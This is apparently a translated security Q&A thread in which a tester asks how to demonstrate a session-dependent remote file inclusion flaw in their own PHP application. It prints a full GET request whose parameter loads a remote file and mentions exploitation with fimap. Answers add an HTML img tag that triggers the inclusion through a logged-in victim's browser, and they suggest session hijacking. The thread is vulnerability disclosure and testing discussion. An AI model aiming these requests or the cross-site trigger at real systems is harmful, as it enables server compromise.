¿Cómo puedo demostrar la inclusión de archivos remotos a través de métodos get?

4

He estado probando mi aplicación web PHP para detectar vulnerabilidades de RFI. Mientras realizaba el escaneo, pude realizar una RFI en mi aplicación web.

Escenario:

En mi aplicación web, RFI funciona solo cuando la sesión del usuario estaba presente. Necesito demostrar el RFI a los desarrolladores.

Demostración de muestra:

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://example.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

La respuesta contiene la salida del archivo cargado.

Problema :

Ahora, a través de la vulnerabilidad anterior, pude probar que la RFI estaba presente en la aplicación web, pero el problema es que mis desarrolladores están preguntando por el escenario de ataque que les ayudará a evaluar mi error.

Lo que probé :

Intenté explotar la aplicación web con fimap a través de esto pudimos demostrar y explotar el servidor web.

Sin embargo, el principal problema que enfrenté durante la prueba fue que no puedo explotar si el usuario no está autenticado.

¿De qué otra manera puedo demostrar la vulnerabilidad de RFI en mi aplicación?

    
pregunta BlueBerry - Vignesh4303 08.03.2016 - 08:16
fuente

2 respuestas

2

Si un usuario que ha iniciado sesión ve una página web (¡en cualquier lugar de Internet!) con el siguiente HTML en cualquier lugar, se activará la vulnerabilidad. Un atacante podría enviar un enlace a una página que contenga este HTML a alguien que saben que ha iniciado sesión.

<img src="http://yourdomain.com/cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt">
    
respondido por el Macil 09.03.2016 - 03:20
fuente
1

En primer lugar, felicidades por encontrar una vulnerabilidad. Siempre es una sensación agradable, especialmente cuando tienes algo como RFI.

Por lo que entiendo, no puede explotar esta RFI si no hay ninguna sesión de usuario en curso. En ese caso, haga que sus desarrolladores echen un vistazo al secuestro de sesión!

Según OWASP :

  

El ataque de secuestro de sesión consiste en la explotación de la web   Mecanismo de control de sesión, que normalmente se administra para una sesión.   token.

     

Debido a que la comunicación http usa muchas conexiones TCP diferentes, la   El servidor web necesita un método para reconocer las conexiones de cada usuario. los   El método más útil depende de un token que el servidor web envía a la   navegador del cliente después de una autenticación de cliente exitosa. Una sesión   El token normalmente se compone de una cadena de ancho variable y podría   ser utilizado de diferentes maneras, como en la URL, en el encabezado de http   requisición como cookie, en otras partes del encabezado de la http   Solicitud, o aún en el cuerpo de la solicitud http.

Me parece que si combinas estos dos, un atacante malicioso no necesitaría las credenciales reales para un ataque exitoso.

Tal vez una pequeña demostración de este tipo sea suficiente. Déjame saber si tienes más preguntas!

¡Buena suerte!

    
respondido por el Robert 09.03.2016 - 02:01
fuente

Lea otras preguntas en las etiquetas